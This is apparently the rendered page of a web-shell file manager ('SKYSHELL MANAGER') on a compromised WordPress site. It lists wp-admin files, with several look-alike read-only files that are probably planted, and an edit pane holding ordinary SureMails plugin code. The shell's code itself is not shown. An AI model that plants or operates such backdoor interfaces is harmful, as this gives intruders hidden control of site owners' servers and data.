📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: provider.php
<?php /** * Provider Class * * Handles the REST API endpoint for retrieving provider information. * * Endpoint: * - GET /providers: Retrieve all providers or a specific provider based on the `provider` query parameter. * * @package SureMails\Inc\API */ namespace SureMails\Inc\API; use SureMails\Inc\Providers; use SureMails\Inc\Traits\Instance; use WP_REST_Request; use WP_REST_Response; use WP_REST_Server; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Class Provider * * @since 0.0.1 */ class Provider extends Api_Base { use Instance; /** * Base route for this API. * * @var string */ protected $rest_base = '/providers'; /** * Register API route for providers. * * @since 0.0.1 * @return void */ public function register_routes() { // Endpoint to get provider options. register_rest_route( $this->get_api_namespace(), $this->rest_base, [ [ 'methods' => WP_REST_Server::READABLE, 'callback' => [ $this, 'get_providers' ], 'permission_callback' => [ $this, 'validate_permission' ], 'args' => [ 'provider' => [ 'required' => false, 'type' => 'string', 'description' => __( 'Optional. Specify the provider key to retrieve details of a specific provider.', 'suremails' ), ], ], ], ] ); } /** * Retrieve provider information. * * Endpoint: GET /get-providers?provider={provider} * * @param WP_REST_Request<array<string, mixed>> $request The REST request object. * @return WP_REST_Response Response containing provider options or all providers. */ public function get_providers( $request ) { $provider = strtolower( sanitize_text_field( $request->get_param( 'provider' ) ) ); try { if ( empty( $provider ) ) { $providers = Providers::instance()->get_provider_options(); } else { $providers = Providers::instance()->get_provider_options( $provider ); } if ( empty( $provider ) ) { return new WP_REST_Response( [ 'success' => true, 'data' => [ 'providers' => $providers ], ], 200 ); } if ( ! empty( $providers[ $provider ] ) ) { return new WP_REST_Response( [ 'success' => true, 'data' => $providers[ $provider ], ], 200 ); } return new WP_REST_Response( [ 'success' => false, 'message' => __( 'Provider not found.', 'suremails' ), ], 404 ); } catch ( \Exception $e ) { return new WP_REST_Response( [ 'success' => false, 'message' => $e->getMessage(), ], 500 ); } } } Provider::instance();
Save